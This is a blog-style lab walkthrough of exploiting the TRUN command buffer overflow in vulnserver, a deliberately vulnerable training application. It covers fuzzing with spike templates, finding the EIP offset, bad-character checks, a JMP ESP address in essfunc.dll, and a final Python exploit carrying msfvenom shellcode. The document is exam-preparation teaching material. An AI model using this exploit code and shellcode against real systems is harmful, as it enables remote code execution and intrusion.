exploit
Exploiting Vulnserver
While I was working through the OSCE I remember folk looking for something roughly as challenging as the exam to practise the whole process: fuzzing a service, figuring out the crash, then getting code execution.
The most common recommendation was to try vulnserver by Stephen Bradshaw. I didn’t use it at the time, but I’m excited to loop back and give it a crack now.
I’m going to write down my steps along the way in case they help anyone else…
Vulnserver is available here: “http://www.thegreycorner.com/2010/12/introducing-vulnserver.html”
I started with an XP VM to work through the application before wrestling with newer OS mitigations. The Windows 10 test comes later in the post. These are the machines and binaries from the 2019 lab; the result depends on how the application was compiled and which mitigations apply to its process.
Fuzzing:
Actually, before jumping into fuzzing with tools it might be nice to just take a look at what the application does. I’d recommend just poking around a little. In the case of vulnserver, the easiest approach is probably just to run it on one machine, and connect to it from your kali machine with nc. By default, vulnserver listens on port 9999.

After making the initial connection, I issue the help command and notice that this program appears to handle a set of commands as inputs, some of them take additional parameters. Our initial fuzzing efforts will focus on that. We’ll build out a set of spike templates that will throw garbage into each of those accepted inputs to see if we can get the application to handle one of them poorly. (We also would usually try throwing some commands that are unexpected, and I did, but the application seems resilient to that so I’m just focusing on misusing the known inputs to start with).
Basic spike templates for the known vulnserver inputs are here: https://github.com/chadduffey/spike_templates_for_vulnserver
I’m going to use a simple script to loop through them till we get a crash:
from os import listdir
from os.path import isfile, join
import subprocess
files = [f for f in listdir('.') if isfile(join('.', f))]
target_ip = "10.0.0.99"
target_port = "9999"
for f in sorted(files):
if ".spk" in f:
print("Running: {}".format(f))
subprocess.call(["/usr/bin/generic_send_tcp", target_ip, target_port, f, "0", "0"])
Running this, it is not long before we see the application fall over…
I don’t want to get too excited, but something that seems promising is that there is a tonne of our input on the stack as well as EIP being overwritten:

We can see what appears to be evidence that the TRUN command was the one to cause the crash, so we’ll run another spike command, this time just using the TRUN template to be sure. We can do that by using generic_send_tcp outside of the script:
generic_send_tcp 10.0.0.99 9999 05trun.spk 0 0
We confirm that the crash is repeatable. Looking at the memory of the process in the debugger, it appears that the crash is caused by something along the lines of:
TRUN /.:/AAAA{...repeat-A-unknown-number-of-times...}

With that in mind, it is time to try out a POC for the crash.
POC:
Since we have a hunch as to what causes the application to crash, we can go ahead and convert to a POC template to start building on. I am going to use this for a start:
#!/usr/bin/python
import socket
crash_command = "TRUN /.:/"
crash_padding = "\x41" * 10000
data = crash_command + crash_padding
print("buffer length: {}".format(len(data)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('10.0.0.99',9999))
s.send(data.encode())
print(data.encode())
print("payload sent")
s.close()
This works! We have a reliable crash and the start of a POC. (I should note right here that there’s a reasonable chance this is a rabbit hole, and there are other bugs I should be looking for, but for now, we are going to keep pulling on this thread).
Searching for EIP
We can see in the debugger that EIP is cleanly overwritten by our POC, the next step is to find out which bytes are the ones that do so. Figuring this out will allow us to modify the flow of execution and put us on the right path to a full working exploit.

To figure out where that is I am going to use pattern_create.rb to generate a unique string as long as the buffer that I am currently sending (I bought it down to 3000 bytes).
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Take that big buffer of junk and use it in the crash_padding variable rather than the “\x41” * 3000 we have now.
If the script is still able to generate the crash, we will be in good shape. (The random string might not work as planned if there are ‘bad characters’ in it).
It works!.. and we have some more useful information in EIP:

With that information, we can identify the place where our EIP overwrite occurs.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 77C848AB -l 3000
[*] Exact match at offset 2003
It appears that EIP is overwritten with the bytes beginning at 2003. To prove that, we update the payload so that we have all A’s till 2003, then four B’s, then as many more A’s as we can have the service accept. Something like:
crash_command = "TRUN /.:/"
pad = "\x41" * 2002
eip = "\x42" * 4
post_eip = "\x41" * 997
data = crash_command + pad + eip + post_eip
We send that to the server and cross our fingers…

Bloody beautiful. We have overwritten EIP, we should be able to make it whatever we like. We have a solid shot at controlling execution from now on.
Controlling Execution:
Next we need to figure out where we can place code, and how to get the processor to start executing from that spot.
By modifying the buffer a little more, and placing C’s after the EIP overwrite it becomes clear that the stack pointer is pointing to a buffer we control and that it is reasonably large.
Before we get into that too much, it is probably also a good time to check for ‘bad characters’, inputs that might terminate the string headed into our vulnerable application and ruin the exploit.
To do that, we create an array of all the characters and send them into the application. We then inspect the memory in the application to make sure none of the characters went missing.
The input buffer part of the POC becomes:
crash_command = "TRUN /.:/"
pad = "\x41" * 2002
eip = "\x42" * 4
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
post_eip = "\x43" * (997 - 256)
data = crash_command + pad + eip + post_eip
We exclude \x00 right away (null terminator), and inspect the buffer on the server.
The lab notes record bytes \x01 through \xFF arriving intact. There is a mistake in the pasted snippet above, though: it defines badchars but never adds it to data. That snippet alone can’t support the conclusion. There’s also an offset inconsistency earlier: the pattern output says 2003, while the padding uses 2002; the final script adds an extra space after the command prefix. Keep those discrepancies in mind when comparing the snippets with the screenshots.
The most straightforward approach now then is if we can find an instruction that tells the CPU to start executing the code pointed to by the stack pointer (the code we can control). For this, we are looking to leverage a JMP ESP instruction somewhere in the process.
If we had to work out what JMP ESP looked like in hex we could use nasm from our Kali machine:
root@k64:~/spike_scripts# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
Now we know that we are searching for FFE4. We would prefer to find it in one of the application binaries if possible to ensure that the exploit works across machines that may not have the same things loaded into the process space of vulnserver. “essfunc.dll” that ships with vulnserver looks like a good candidate.
I switch over to immunity debugger to get mona scripting support and use:
!mona find -s "\xff\xe4" -m essfunc.dll

I get 9 results and on this machine, and with these .dll compile options it looks like ASLR is not going to get in the way.
I’m going to choose the first of the results, add it to the payload and set a breakpoint to make sure we end up in the desired location.
The payload section now looks like this:
crash_command = "TRUN /.:/"
pad = "\x41" * 2002
eip = "\xaf\x11\x50\x62"
post_eip = "\x43" * (997)
data = crash_command + pad + eip + post_eip
Success. We hit the breakpoint and can see that code execution will be redirected to our buffer (currently containing c’s, but soon to contain our exploit code)

Generating a payload:
With all the pieces in place we go ahead and generate shellcode using msfvenom (pick the payload type that matches your lab setup).
msfvenom -p <payload> -b "\x00" -f c

Putting it all together:
I also added some NOPs at the start of the payload to leave room for the decoder.
Final script shown below (Python 3):
import socket
# shellcode generated via msfvenom with badchar \x00 removed
sc = ("\xda\xc4\xb8\x26\xe6\x17\xfd\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x53\x31\x42\x17\x83\xc2\x04\x03\x64\xf5\xf5\x08\x94\x11\x7b"
"\xf2\x64\xe2\x1c\x7a\x81\xd3\x1c\x18\xc2\x44\xad\x6a\x86\x68"
"\x46\x3e\x32\xfa\x2a\x97\x35\x4b\x80\xc1\x78\x4c\xb9\x32\x1b"
"\xce\xc0\x66\xfb\xef\x0a\x7b\xfa\x28\x76\x76\xae\xe1\xfc\x25"
"\x5e\x85\x49\xf6\xd5\xd5\x5c\x7e\x0a\xad\x5f\xaf\x9d\xa5\x39"
"\x6f\x1c\x69\x32\x26\x06\x6e\x7f\xf0\xbd\x44\x0b\x03\x17\x95"
"\xf4\xa8\x56\x19\x07\xb0\x9f\x9e\xf8\xc7\xe9\xdc\x85\xdf\x2e"
"\x9e\x51\x55\xb4\x38\x11\xcd\x10\xb8\xf6\x88\xd3\xb6\xb3\xdf"
"\xbb\xda\x42\x33\xb0\xe7\xcf\xb2\x16\x6e\x8b\x90\xb2\x2a\x4f"
"\xb8\xe3\x96\x3e\xc5\xf3\x78\x9e\x63\x78\x94\xcb\x19\x23\xf1"
"\x38\x10\xdb\x01\x57\x23\xa8\x33\xf8\x9f\x26\x78\x71\x06\xb1"
"\x7f\xa8\xfe\x2d\x7e\x53\xff\x64\x45\x07\xaf\x1e\x6c\x28\x24"
"\xde\x91\xfd\xd1\xd6\x34\xae\xc7\x1b\x86\x1e\x48\xb3\x6f\x75"
"\x47\xec\x90\x76\x8d\x85\x39\x8b\x2e\xb8\xe5\x02\xc8\xd0\x05"
"\x43\x42\x4c\xe4\xb0\x5b\xeb\x17\x93\xf3\x9b\x50\xf5\xc4\xa4"
"\x60\xd3\x62\x32\xeb\x30\xb7\x23\xec\x1c\x9f\x34\x7b\xea\x4e"
"\x77\x1d\xeb\x5a\xef\xbe\x7e\x01\xef\xc9\x62\x9e\xb8\x9e\x55"
"\xd7\x2c\x33\xcf\x41\x52\xce\x89\xaa\xd6\x15\x6a\x34\xd7\xd8"
"\xd6\x12\xc7\x24\xd6\x1e\xb3\xf8\x81\xc8\x6d\xbf\x7b\xbb\xc7"
"\x69\xd7\x15\x8f\xec\x1b\xa6\xc9\xf0\x71\x50\x35\x40\x2c\x25"
"\x4a\x6d\xb8\xa1\x33\x93\x58\x4d\xee\x17\x68\x04\xb2\x3e\xe1"
"\xc1\x27\x03\x6c\xf2\x92\x40\x89\x71\x16\x39\x6e\x69\x53\x3c"
"\x2a\x2d\x88\x4c\x23\xd8\xae\xe3\x44\xc9")
final = "A" * 2002
final += "\xaf\x11\x50\x62"
final += "\x90" * 16
final += sc
final += "C" * (3000 - len(final))
print("buffer length: " + str(len(final)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('10.0.0.99',9999))
s.send(("TRUN /.:/ " + final).encode("latin-1"))
print("payload sent")
s.close()
We fire off the exploit and cross our fingers…
Success!
After triggering the exploit, we can establish our session (for example by connecting to a bind shell or catching a reverse callback, depending on payload choice):

To be thorough, we can take a look at the victim machine, and see that the vulnserver.exe process is still running, and also that the attacker has established the connection:

The same exploit also worked on the Windows 10 machine in this lab.

And, that’ll do for now.